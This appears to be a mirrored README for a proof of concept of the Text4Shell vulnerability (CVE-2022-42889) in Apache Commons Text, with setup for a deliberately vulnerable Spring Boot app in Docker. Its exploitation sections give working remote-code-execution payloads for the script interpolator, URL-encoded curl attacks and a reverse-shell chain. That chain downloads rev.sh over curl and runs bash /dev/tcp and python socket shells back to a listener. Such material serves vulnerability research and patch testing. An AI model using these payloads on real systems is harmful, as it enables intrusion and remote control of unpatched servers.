关联漏洞
描述
CVE-2022-42889 aka Text4Shell research & PoC
介绍
# CVE-2022-42889 aka text4shell
PoC for recently discovered [vulnerability](https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/) in Apache Commons Text by [@pwntester](https://github.com/pwntester):
As mentioned in https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:
>The vulnerability exists in the StringSubstitutor interpolator object. An interpolator is created by the StringSubstitutor.createInterpolator() method and will allow for string lookups as defined in the StringLookupFactory. This can be used by passing a string “${prefix:name}” where the prefix is the aforementioned lookup. Using the “script”, “dns”, or “url” lookups would allow a crafted string to execute arbitrary scripts when passed to the interpolator object.
# Affected versions
The affected Apache Commons Text versions are 1.5 through 1.9.
It has been patched in version 1.10.
# Conditions to be exploited
- Run a version of Apache Commons Text from version 1.5 to 1.9
- Use the [StringSubstitutor](https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html) interpolator class
To be remotely exploited, attacker controlled input must be used as input for the StringSubstitutor interpolation. In particular, in `StringSubstitutor.replace()` or `StringSubstitutor.replaceIn()` methods
# Other javascript script engines
Since JDK 15 the Nashorn JavaScript Engine was removed: https://openjdk.org/jeps/372.
But if third parties dependencies are included such as JEXL, RCE in Apache Commnos Text could happen (https://twitter.com/pwntester/status/1582321752566161409)
# Exploitation
## script interpolator
It can be exploited to gain RCE.
### JDK < 15
Nashorn engine:
```
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
```
### JDK 15+
If using third party JEXL:
```
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
```
## dns interpolator
It can lead to a DNS lookup:
```
${dns:address|commons.apache.org}
```
## url interpolator
It connects to the specified URL and tries to fetch the content:
```
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
```
# Manual compilation of PoC
Template based on https://start.spring.io/
```
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
```
# Running app in Docker
## Using JVM 11
```
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
```
## Using JVM 19
```
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
```
# Provided POCs
There are different endpoints provided to test for the different attack vectors mentioned.
## /poc1
```
curl http://localhost:8080/poc1
```
## /poc2
```
curl http://localhost:8080/poc2
```
## /poc3
```
curl http://localhost:8080/poc3
```
## /message?text=
```
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1
```
Using Nashorn:
```
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D
```
Using JEXL:
```
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D
```
# Get a reverse shell
Just to be simple I am using the default Docker interface for netcat listener.
Poking around, I came up with these payloads with bash and python reverse shells working ok:
```
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
```
Where rev.sh is served with these possible contents:
```
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
```
```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
# References
- https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
- https://sysdig.com/blog/cve-2022-42889-text4shell/
- https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
- https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
- https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
- https://twitter.com/pwntester/status/1583189642471706624
- https://twitter.com/pyn3rd/status/1582729285005037568
- https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb
# Credits to other PoCs
- https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
- https://github.com/korteke/CVE-2022-42889-POC
- https://github.com/karthikuj/cve-2022-42889-text4shell-docker
- https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
- https://github.com/kljunowsky/CVE-2022-42889-text4shell
- https://github.com/securekomodo/text4shell-poc
文件快照
[4.0K] /data/pocs/36d64cb4cb07254afb6abd597ed3231bb621c6d6
├── [ 271] Dockerfile
├── [ 262] Dockerfile.Java11
├── [ 262] Dockerfile.Java19
├── [1.9K] pom.xml
├── [6.7K] README.md
├── [4.0K] src
│ ├── [4.0K] main
│ │ ├── [4.0K] java
│ │ │ └── [4.0K] com
│ │ │ └── [4.0K] example
│ │ │ └── [4.0K] springboot
│ │ │ ├── [ 313] Application.java
│ │ │ └── [2.0K] TextController.java
│ │ └── [4.0K] resources
│ │ └── [ 1] application.properties
│ └── [4.0K] test
│ └── [4.0K] java
│ └── [4.0K] com
│ └── [4.0K] example
│ └── [4.0K] springboot
│ └── [ 208] ApplicationTests.java
└── [4.0K] target
└── [ 18M] spring-boot-0.0.1-SNAPSHOT.jar
13 directories, 10 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。